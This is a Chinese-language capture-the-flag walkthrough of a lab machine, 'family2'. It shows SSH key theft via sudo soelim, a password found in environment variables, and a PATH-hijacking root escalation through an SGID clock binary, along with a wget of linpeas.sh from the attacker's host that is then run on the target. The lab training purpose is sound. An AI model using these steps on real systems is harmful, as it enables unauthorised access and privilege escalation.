信息收集
服务探测
先arp扫一下ip![image]()
还是nmap扫一下
靶机上开了很多服务大多是有关邮箱的端口,我们先看一下80端口上有哪些信息
不是基于wordpress就是一个普通的apache服务![image]()
浏览器访问发现是个ssh密钥,使用cyberchef将密钥文件与十六进制分离一下![image]()
文件名给出提示用户名是baby,使用ssh登录-i指定密钥文件名![image]()
登入用户
登入baby用户
1
| ssh baby@192.168.56.109 -i baby
|
cat一下passwd发现有三个用户![image]()
Sudo提权mum
尝试sudo -l发现mom这个用户下可以使用sudo soelim
![image]()
通过查询得知soelim是文本处理工具那么可以使用他来读取mon用户下的文件![image]()
我们直接尝试读取user的flag发现并没有这个文件![image]()
那么可以再试试读取他的ssh文件
一般在用户目录下的.ssh/id_rsa是个隐藏文件
![image]()
成功读取到了连接mum用户的ssh密钥,
1
| ssh mum@192.168.56.109 -i mum
|
Sudo提权dad
登录到了mum用户使用sudo -l查看sudo权限
![image]()
发现第一个root用户下的命令是个大坑,你跳了基本就要重新开始了![image]()
问了下ChatGPT才知道后面为什么读不到passwd,原来是被自己删了
后面做第二遍的时候才知道
这时候直接利用dad用户下的权限后面紧跟ALL说明什么都可以执行
![image]()
需要提供mum用户的密码,但我们是通过ssh密钥登录上来的,所以需要从其他地方找一下密码的线索
查看环境变量发现密码藏着这里
passwd=LA0172
后续登录到dad账户在其根目录下找到user的flag1,这是base64编码后的
![image]()
提权Root
如何拿到root权限从现在开始无从下手了,那就拿脚本扫一下好了, wget一下kali上的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| dad@family2:/home$ cd /tmp/ dad@family2:/tmp$ ls systemd-private-8d538cdf570847549420ad61279fe1fc-apache2.service-CxrvLf systemd-private-8d538cdf570847549420ad61279fe1fc-dovecot.service-SDj4Tg systemd-private-8d538cdf570847549420ad61279fe1fc-systemd-logind.service-FQJJ4f systemd-private-8d538cdf570847549420ad61279fe1fc-systemd-timesyncd.service-R04WRh dad@family2:/tmp$ wget 192.168.56.102:8000/linpeas.sh --2024-07-03 15:00:03-- http://192.168.56.102:8000/linpeas.sh Connecting to 192.168.56.102:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 862779 (843K) [text/x-sh] Saving to: ‘linpeas.sh’
linpeas.sh 100%[==============================>] 842.56K --.-KB/s in 0.01s
2024-07-03 15:00:03 (66.7 MB/s) - ‘linpeas.sh’ saved [862779/862779]
dad@family2:/tmp$ chmod +x linpeas.sh dad@family2:/tmp$ ./linpeas.sh
|
SGID提权
发现/opt/clock
文件有SGID权限
![image]()
切换到opt目录下执行一下clock发现就是一个显示时间的程序,可能调用了环境变量中的date命令使用strings查看一下
![image]()
![image]()
PATH环境劫持
那后面直接再新建一个环境变量
1 2 3 4 5
| dad@family2:/tmp$ echo -n "/bin/bash"> date dad@family2:/tmp$ chmod +x date dad@family2:/tmp$ export PATH=/tmp/:$PATH dad@family2:/tmp$ echo $PATH /tmp/:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
|
再次执行![image]()
成功切换到root用户
拿到root的flag文件
![image]()